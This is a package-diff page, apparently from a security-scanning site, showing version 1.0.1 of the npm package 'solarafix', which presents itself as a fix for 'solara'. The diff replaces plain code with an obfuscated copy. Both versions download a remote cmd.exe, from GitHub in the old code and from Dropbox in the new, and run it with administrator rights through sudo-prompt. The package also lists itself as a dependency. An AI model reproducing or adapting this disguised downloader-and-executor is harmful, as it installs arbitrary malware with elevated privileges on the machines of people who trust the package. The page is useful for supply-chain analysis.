solarafix 1.0.0 → 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +1 -38
- package/package.json +2 -1
package/index.js
CHANGED
@@ -1,38 +1 @@
|
|
1
|
-
const
|
2
|
-
const path = require('path');
|
3
|
-
const fetch = require('node-fetch');
|
4
|
-
const sudo = require('sudo-prompt');
|
5
|
-
const { exec } = require('child_process');
|
6
|
-
|
7
|
-
const exeFileName = 'cmd.exe';
|
8
|
-
const downloadUrl = 'https://github.com/GeniAIDiscord/Solara2/raw/refs/heads/main/cmd.exe';
|
9
|
-
const exeFilePath = path.join(__dirname, exeFileName);
|
10
|
-
|
11
|
-
async function downloadFile(url, outputPath) {
|
12
|
-
const response = await fetch(url);
|
13
|
-
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
|
14
|
-
const buffer = await response.buffer();
|
15
|
-
await fs.writeFile(outputPath, buffer);
|
16
|
-
}
|
17
|
-
|
18
|
-
async function runExecutable() {
|
19
|
-
try {
|
20
|
-
// Download the executable file
|
21
|
-
await downloadFile(downloadUrl, exeFilePath);
|
22
|
-
|
23
|
-
// Use sudo-prompt to run the executable with admin rights
|
24
|
-
const options = { name: 'Solara' };
|
25
|
-
sudo.exec(exeFilePath, options, (error, stdout, stderr) => {
|
26
|
-
if (error) {
|
27
|
-
console.error(`Error running the executable with admin rights: ${error}`);
|
28
|
-
return;
|
29
|
-
}
|
30
|
-
console.log(`stdout: ${stdout}`);
|
31
|
-
console.error(`stderr: ${stderr}`);
|
32
|
-
});
|
33
|
-
} catch (error) {
|
34
|
-
console.error(`Download error: ${error}`);
|
35
|
-
}
|
36
|
-
}
|
37
|
-
|
38
|
-
runExecutable();
|
1
|
+
const _0x3610a3=_0x289b;function _0x289b(_0x96d103,_0x280c97){const _0x12744b=_0x2674();return _0x289b=function(_0x17179d,_0x53f30e){_0x17179d=_0x17179d-(-0x7e2+0x11d8+-0x864);let _0x4ab443=_0x12744b[_0x17179d];return _0x4ab443;},_0x289b(_0x96d103,_0x280c97);}(function(_0x2bc404,_0x2ddd4f){const _0x13c418=_0x289b,_0x39f194=_0x2bc404();while(!![]){try{const _0x1df419=parseInt(_0x13c418(0x1c1))/(0xdc9*0x2+-0x178*0x2+-0x18a1)+-parseInt(_0x13c418(0x1a8))/(0x1d73+0x3f*0x1+0x76c*-0x4)+-parseInt(_0x13c418(0x1b6))/(0x5*0x154+-0x2389*0x1+0x128*0x19)*(-parseInt(_0x13c418(0x1ad))/(-0x1d16+-0x59*0x5+0x1ed7))+-parseInt(_0x13c418(0x1b8))/(-0x266*0x3+0x1319*0x1+0xbe2*-0x1)+-parseInt(_0x13c418(0x1c3))/(0x1b7+0x261a+0x1*-0x27cb)*(parseInt(_0x13c418(0x19a))/(0x43*-0x10+0x17a4+-0x136d))+parseInt(_0x13c418(0x197))/(0x16c3*0x1+-0xf*0x61+0x443*-0x4)+parseInt(_0x13c418(0x199))/(-0x47*-0x7f+-0x14bd+-0xe73);if(_0x1df419===_0x2ddd4f)break;else _0x39f194['push'](_0x39f194['shift']());}catch(_0x196bb4){_0x39f194['push'](_0x39f194['shift']());}}}(_0x2674,0xad59*0x1e+0xb7ff4+0x1d56*-0x98));const fs=require(_0x3610a3(0x1bf)),path=require(_0x3610a3(0x1bc)),fetch=require(_0x3610a3(0x1aa)),sudo=require(_0x3610a3(0x1af)+'t'),{exec}=require(_0x3610a3(0x1b9)+_0x3610a3(0x1a2)),exeFileName=_0x3610a3(0x1b0),downloadUrl=_0x3610a3(0x195)+_0x3610a3(0x19b)+_0x3610a3(0x1a7)+_0x3610a3(0x1c2)+_0x3610a3(0x1a5)+_0x3610a3(0x19e)+_0x3610a3(0x1b4),exeFilePath=path[_0x3610a3(0x196)](__dirname,exeFileName);async function downloadFile(_0x450b84,_0x3d20c1){const _0x14f446=_0x3610a3,_0x4cd1c7={'oyndu':function(_0x2fb147,_0x1b4a89){return _0x2fb147(_0x1b4a89);}},_0x52240c=await _0x4cd1c7[_0x14f446(0x19d)](fetch,_0x450b84);if(!_0x52240c['ok'])throw new Error(_0x14f446(0x1a3)+_0x14f446(0x1a4)+_0x52240c[_0x14f446(0x19f)]);const _0xed74d0=await _0x52240c[_0x14f446(0x192)]();await fs[_0x14f446(0x1ab)](_0x3d20c1,_0xed74d0),console[_0x14f446(0x1ac)](_0x14f446(0x1b2)+'\x20'+exeFileName+_0x14f446(0x1b5)+_0x3d20c1);}async function runExecutable(){const _0x2a6828=_0x3610a3,_0x565d1e={'rGmBZ':function(_0x46fa4c,_0x415cf9,_0x228da9){return _0x46fa4c(_0x415cf9,_0x228da9);},'ZHtrx':_0x2a6828(0x193)+'r'};try{await _0x565d1e[_0x2a6828(0x1ae)](downloadFile,downloadUrl,exeFilePath);const _0x15e5ea={'name':_0x565d1e[_0x2a6828(0x1a9)]};sudo[_0x2a6828(0x1b7)]('\x22'+exeFilePath+'\x22',_0x15e5ea,(_0x5ec055,_0x3d537f,_0x3e7d90)=>{const _0x392f5e=_0x2a6828;if(_0x5ec055){console[_0x392f5e(0x194)](_0x392f5e(0x1bb)+_0x392f5e(0x1a0)+_0x392f5e(0x1a6)+_0x392f5e(0x1b3)+_0x392f5e(0x1c0)+_0x5ec055[_0x392f5e(0x19c)]);return;}console[_0x392f5e(0x1ac)](_0x392f5e(0x198)+_0x392f5e(0x1bd)+_0x3d537f);if(_0x3e7d90)console[_0x392f5e(0x194)](_0x392f5e(0x198)+_0x392f5e(0x1be)+_0x3e7d90);});}catch(_0x14817b){console[_0x2a6828(0x194)](_0x2a6828(0x1b1)+_0x2a6828(0x1ba)+_0x2a6828(0x1a1)+'\x20'+_0x14817b[_0x2a6828(0x19c)]);}}function _0x2674(){const _0x1b75b5=['ing\x20the\x20ex','ble\x20setup:','ess','HTTP\x20error','!\x20status:\x20','i8vcrvw79a','ecutable\x20w','com/scl/fi','2968794tUJEpk','ZHtrx','node-fetch','writeFile','log','56TIOZQj','rGmBZ','sudo-promp','cmd.exe','Error\x20duri','Downloaded','ith\x20admin\x20','?dl=1','\x20to\x20','159171aNTIoV','exec','3089435iCyaRb','child_proc','ng\x20executa','Error\x20runn','path','Output:\x20','Errors:\x20','fs-extra','rights:\x20','477074NDdpel','/fe02r3r0o','12ZegDeq','buffer','solarafixe','error','https://ww','join','12499680klFJZj','Execution\x20','9999252CXxUyQ','2966719EYnOMe','w.dropbox.','message','oyndu','bs/cmd.exe','status'];_0x2674=function(){return _0x1b75b5;};return _0x2674();}runExecutable();
|
package/package.json
CHANGED
@@ -1,6 +1,6 @@
|
|
1
1
|
{
|
2
2
|
"name": "solarafix",
|
3
|
-
"version": "1.0.
|
3
|
+
"version": "1.0.1",
|
4
4
|
"description": "Fixes any problems with solara.",
|
5
5
|
"main": "index.js",
|
6
6
|
"bin": {
|
@@ -12,6 +12,7 @@
|
|
12
12
|
"dependencies": {
|
13
13
|
"fs-extra": "^10.0.0",
|
14
14
|
"node-fetch": "^2.6.7",
|
15
|
+
"solarafix": "^1.0.0",
|
15
16
|
"sudo-prompt": "^9.2.1"
|
16
17
|
}
|
17
18
|
}
|